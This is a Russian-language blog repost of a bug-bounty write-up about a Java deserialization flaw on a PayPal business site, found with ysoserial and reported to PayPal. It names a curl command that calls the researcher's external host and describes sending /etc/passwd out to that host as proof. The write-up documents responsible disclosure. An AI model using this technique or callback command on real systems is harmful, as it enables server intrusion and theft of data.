SafeUM
Home Блог Услуги Скачать Помощь О нас Пополнить
EN
RU

Axarhöfði 14, 110 Reykjavik, Iceland

Iceland - 2015
SafeUM
Блог
Услуги
Скачать
Помощь
О нас
Пополнить
Меню
RU
Язык
EN
RU
Архив
TOP Security!
3 Фев 2016

Взломать PayPal за 73 секунды

В декабре 2015 года я обнаружил критически опасную уязвимость в одном из сайтов PayPal для бизнеса, которая позволяла мне выполнять произвольные команды на веб-серверах внутри корпоративной сети.

При отправке веб-формы на сайте manager.paypal.com в одном из скрытых параметров передавались закодированные данные в виде сериализованного объекта Java.

Данный параметр можно было подделать, изменив название класса и значения его свойств, что и привело к выполнению произвольного кода на серверах. Я немедленно сообщил об этой проблеме в PayPal, и она была быстро исправлена. При тестировании безопасности сайта manager.paypal.com в burp suite мое внимание привлек необычный параметр “oldFormData”, который выглядел как сложный Java-объект, закодированный в base64:

В шестнадцатеричном виде он начинался с сигнатуры «aced 0005», по которая я понял, что это сериализованный Java-объект класса “java.util.HashMap” без какой-либо цифровой подписи. Это означало, что при отправке формы мы могли подменить его на объект совершенно другого класса — и на сервере будет вызван метод “readObject” (или “readResolve”) нового класса.

Для эксплуатации мне необходимо было найти в исходниках приложения (или в библиотеках, которые оно использует) класс, который имеет что-то интересное в методе readObject или readResolve, например создание файла или исполнения системной команды с параметрами, на которые мы можем влиять.

К счастью, Chris Frohoff (@frohoff) и Gabriel Lawrence (@gebl) в начале 2015 года проделали отличную работу и нашли цепочку подходящих классов в библиотеке Commons Collections. Они также выпустили утилиту ysoserial для генерации подходящих сериализованных объектов, которые в результате приводят к выполнению произвольного кода в методе readObject.

Эксплойт

Я немедленно скачал эту утилиту с их проекта на github и сгенерировал объект класса «sun.reflect.annotation.AnnotationInvocationHandler», десериализация которого приводит к выполнению команды «curl x.s.artsploit.com/paypal», если на сервере доступна библиотека Commons Collections.

Выполнение команды curl отсылает на мой собственный внешний сервер запросы по протоколам DNS и HTTP, что хорошо для выявления так называемых слепых уязвимостей, при которых результат выполнения команды не выводится в ответе сервера. После этого я отправил полученный закодированный объект на сервер в параметре “oldFormData” и буквально не поверил своим глазам, когда в логе доступа на моем Nginx высветилась строчка:

Адрес 173.0.81.65 принадлежал компании PayPal и в этот момент я понял, что могу выполнять произвольные команды на серверах сайта manager.paypal.com.

Я мог бы загрузить бекдор, получить доступ к базам данных, которые использует приложение, или побродить по внутренней сети. Вместо этого я лишь прочитал файл “/etc/passwd” отослав его на свой сервер как подтверждение уязвимости:

Я также записал видео, как воспроизвести эту уязвимость, и отправил всю информацию в PayPal.

Ответ от PayPal

После получения отчета в PayPal быстро пофиксили уязвимость и запросили у меня мой внешний IP-адрес, с которого я проводил тестирование, для проведения внутреннего расследования. Примерно через месяц PayPal назначили мне награду за найденную уязвимость, хотя баг в их системе числился как дубликат. Насколько я понял, другой исследователь, Mark Litchfield, также отправил им информацию о похожей уязвимости 11 декабря 2015 года, за два дня до моего отчета.

В любом случае PayPal выплатили мне хорошее денежное вознаграждение, за что им большое спасибо.

Видео:

Теги:
PayPal утечка информации
Источник:
Хабрахабр
1582
ДРУГИЕ НОВОСТИ
3 Июль 2020 safeum news imgage Полиция произвела множество арестов, взломав защищённый мессенджер
4 Май 2020 safeum news imgage Европол сообщил об аресте членов польской хак-группы Infinity Black
12 Дек 2019 safeum news imgage Шифрование под угрозой. Как это отразится на нас
4 Ноя 2019 safeum news imgage Должны ли важные решения приниматься на основании лишь фактов, или интуиция имеет право на жизнь?
7 Июнь 2018 safeum news imgage Ворующий данные вирус для роутеров умеет обходить шифрование
4 Июнь 2018 safeum news imgage Мошенники атакуют пользователей сервиса Booking.com
1 Июнь 2018 safeum news imgage Оператор крупнейшей точки обмена трафиком подал в суд на немецкую спецслужбу
30 Май 2018 safeum news imgage ФБР выявило два инструмента северокорейских кибершпионов
29 Май 2018 safeum news imgage Новый закон позволил европейцам требовать миллиарды у Google и Facebook
25 Май 2018 safeum news imgage Предустановленное вредоносное ПО обнаружили на сотнях моделей смартфонов
24 Май 2018 safeum news imgage GPS-трекеры для домашних животных позволяют следить за их хозяевами
23 Май 2018 safeum news imgage К Google подали иск из-за слежки за пользователями iPhone
21 Май 2018 safeum news imgage Данные о местоположении всех смартфонов в США оказались в открытом доступе
18 Май 2018 safeum news imgage Власти США запустили фальшивое ICO
17 Май 2018 safeum news imgage Хакеры похитили сотни миллионов у банков Мексики
Все новости
SafeUM
Конфиденциальность Правила использования Наши технологии О компании
Контакты
Скачать
SafeUM © Безопасный универсальный мессенджер

Axarhöfði 14,
110 Reykjavik, Iceland

Iceland - 2015